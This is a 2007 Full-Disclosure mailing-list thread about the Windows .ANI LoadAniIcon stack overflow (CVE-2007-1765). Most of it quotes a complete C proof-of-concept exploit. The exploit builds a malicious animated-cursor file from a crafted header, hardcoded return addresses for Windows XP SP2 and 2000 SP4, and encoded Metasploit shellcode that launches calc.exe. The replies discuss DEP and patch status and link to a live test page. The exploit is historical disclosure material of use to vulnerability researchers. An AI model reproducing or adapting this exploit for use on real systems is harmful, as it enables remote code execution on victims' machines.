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Re: Windows .ANI LoadAniIcon Stack Overflow
From: "James Matthews" <nytrokiss () gmail com>
Date: Sat, 31 Mar 2007 20:58:54 -0700

The issue is that this only works with DEP turned off!

On 3/31/07, dev code <devcode29 () hotmail com> wrote:

I didn't include the DoS version of this, it just calls ExitProcess(). If
you have SP2, you can try going to http://sicotik.com/ink/test.html.
Thanks.

>From: wac <waldoalvarez00 () gmail com>
>To: "dev code" <devcode29 () hotmail com>
>CC: full-disclosure () lists grok org uk
>Subject: Re: [Full-disclosure] Windows .ANI LoadAniIcon Stack Overflow
>Date: Sat, 31 Mar 2007 06:53:34 -0500
>
>Hello:
>
>Does this works in *fully patched* XP pro + SP2? Mine seems to be totally
>immune (not even crashing). XP  Pro + SP2 + 0 patches crashes (probably
>landing somewhere else in memory).
>
>
>On 3/30/07, dev code <devcode29 () hotmail com> wrote:
>>
>>/*
>>* Copyright (c) 2007 devcode
>>*
>>*
>>*                       ^^ D E V C O D E ^^
>>*
>>* Windows .ANI LoadAniIcon Stack Overflow
>>* [CVE-2007-1765]
>>*
>>*
>>* Description:
>>*    A vulnerability has been identified in Microsoft Windows,
>>*         which could be exploited by remote attackers to take complete
>>*         control of an affected system. This issue is due to a stack
>>overflow
>>*    error within the "LoadAniIcon()" [user32.dll] function when
rendering
>>*    cursors, animated cursors or icons with a malformed header, which
>>could
>>*         be exploited by remote attackers to execute arbitrary commands
>>by
>>*    tricking a user into visiting a malicious web page or viewing an
>>email
>>*    message containing a specially crafted ANI file.
>>*
>>* Hotfix/Patch:
>>*    None as of this time.
>>*
>>* Vulnerable systems:
>>*         Microsoft Windows 2000 Service Pack 4
>>*         Microsoft Windows XP Service Pack 2
>>*         Microsoft Windows XP 64-Bit Edition version 2003 (Itanium)
>>*         Microsoft Windows XP Professional x64 Edition
>>*         Microsoft Windows Server 2003
>>*         Microsoft Windows Server 2003 (Itanium)
>>*         Microsoft Windows Server 2003 Service Pack 1
>>*         Microsoft Windows Server 2003 Service Pack 1 (Itanium)
>>*         Microsoft Windows Server 2003 x64 Edition
>>*         Microsoft Windows Vista
>>*
>>*         Microsoft Internet Explorer 6
>>*         Microsoft Internet Explorer 7
>>*
>>*    This is a PoC and was created for educational purposes only. The
>>*         author is not held responsible if this PoC does not work or is
>>*         used for any other purposes than the one stated above.
>>*
>>* Notes:
>>*         For this to work on XP SP2 on explorer.exe, DEP has to be
turned
>>*         off.
>>*
>>*/
>>#include <iostream>
>>
>>/* ANI Header */
>>unsigned char uszAniHeader[] =
>>"\x52\x49\x46\x46\x00\x04\x00\x00\x41\x43\x4F\x4E\x61\x6E\x69\x68"
>>"\x24\x00\x00\x00\x24\x00\x00\x00\xFF\xFF\x00\x00\x0A\x00\x00\x00"
>>"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
>>"\x10\x00\x00\x00\x01\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00"
>>"\x10\x00\x00\x00\x54\x53\x49\x4C\x03\x00\x00\x00\x02\x02\x02\x02"
>>"\x61\x6E\x69\x68\xA8\x03\x00\x00";
>>
>>/* Shellcode - metasploit exec calc.exe ^^ */
>>unsigned char uszShellcode[] =
>>"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"
>>"\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x49\x51\x5a\x6a\x42"
>>"\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x52\x32\x41\x42\x41\x32"
>>"\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x38\x69\x79\x6c\x4a"
>>"\x48\x67\x34\x47\x70\x77\x70\x53\x30\x6e\x6b\x67\x35\x45\x6c\x4c"
>>"\x4b\x73\x4c\x74\x45\x31\x68\x54\x41\x68\x6f\x6c\x4b\x70\x4f\x57"
>>"\x68\x6e\x6b\x71\x4f\x45\x70\x65\x51\x5a\x4b\x67\x39\x4c\x4b\x50"
>>"\x34\x4c\x4b\x77\x71\x68\x6e\x75\x61\x4b\x70\x4e\x79\x6e\x4c\x4d"
>>"\x54\x4b\x70\x72\x54\x65\x57\x69\x51\x49\x5a\x46\x6d\x37\x71\x6f"
>>"\x32\x4a\x4b\x58\x74\x77\x4b\x41\x44\x44\x64\x35\x54\x72\x55\x7a"
>>"\x45\x6c\x4b\x53\x6f\x51\x34\x37\x71\x48\x6b\x51\x76\x4c\x4b\x76"
>>"\x6c\x50\x4b\x6e\x6b\x71\x4f\x67\x6c\x37\x71\x68\x6b\x4c\x4b\x65"
>>"\x4c\x4c\x4b\x64\x41\x58\x6b\x4b\x39\x53\x6c\x75\x74\x46\x64\x78"
>>"\x43\x74\x71\x49\x50\x30\x64\x6e\x6b\x43\x70\x44\x70\x4c\x45\x4f"
>>"\x30\x41\x68\x44\x4c\x4e\x6b\x63\x70\x44\x4c\x6e\x6b\x30\x70\x65"
>>"\x4c\x4e\x4d\x6c\x4b\x30\x68\x75\x58\x7a\x4b\x35\x59\x4c\x4b\x4d"
>>"\x50\x58\x30\x37\x70\x47\x70\x77\x70\x6c\x4b\x65\x38\x57\x4c\x31"
>>"\x4f\x66\x51\x48\x76\x65\x30\x70\x56\x4d\x59\x4a\x58\x6e\x63\x69"
>>"\x50\x31\x6b\x76\x30\x55\x38\x5a\x50\x4e\x6a\x36\x64\x63\x6f\x61"
>>"\x78\x6a\x38\x4b\x4e\x6c\x4a\x54\x4e\x76\x37\x6b\x4f\x4b\x57\x70"
>>"\x63\x51\x71\x32\x4c\x52\x43\x37\x70\x42";
>>
>>char szIntro[] =
>>"\n\t\tWindows .ANI LoadAniIcon Stack Overflow\n"
>>"\t\t\tdevcode (c) 2007\n"
>>"[+] Targets:\n"
>>"\tWindows XP SP2 [0]\n"
>>"\tWindows 2K SP4 [1]\n\n"
>>"Usage: ani.exe <target> <file>";
>>
>>typedef struct {
>>         const char *szTarget;
>>         unsigned char uszRet[5];
>>} TARGET;
>>
>>TARGET targets[] = {
>>         { "Windows XP SP2", "\xC9\x29\xD4\x77" },       /* call esp */
>>         { "Windows 2K SP4", "\x29\x4C\xE1\x77" }
>>};
>>
>>int main( int argc, char **argv ) {
>>         char szBuffer[1024];
>>         FILE *f;
>>
>>         if ( argc < 3 ) {
>>                 printf("%s\n", szIntro );
>>                 return 0;
>>         }
>>
>>         printf("[+] Creating ANI header...\n");
>>         memset( szBuffer, 0x90, sizeof( szBuffer ) );
>>         memcpy( szBuffer, uszAniHeader, sizeof( uszAniHeader ) - 1 );
>>
>>         printf("[+] Copying shellcode...\n");
>>         memcpy( szBuffer + 168, targets[atoi( argv[1] )].uszRet, 4 );
>>         memcpy( szBuffer + 192, uszShellcode, sizeof( uszShellcode ) -
1
>>);
>>
>>         printf("%s\n", argv[2] );
>>         f = fopen( argv[2], "wb" );
>>         if ( f == NULL ) {
>>                 printf("[-] Cannot create file\n");
>>                 return 0;
>>         }
>>
>>         fwrite( szBuffer, 1, 1024, f );
>>         fclose( f );
>>         printf("[+] .ANI file succesfully created!\n");
>>         return 0;
>>}
>>
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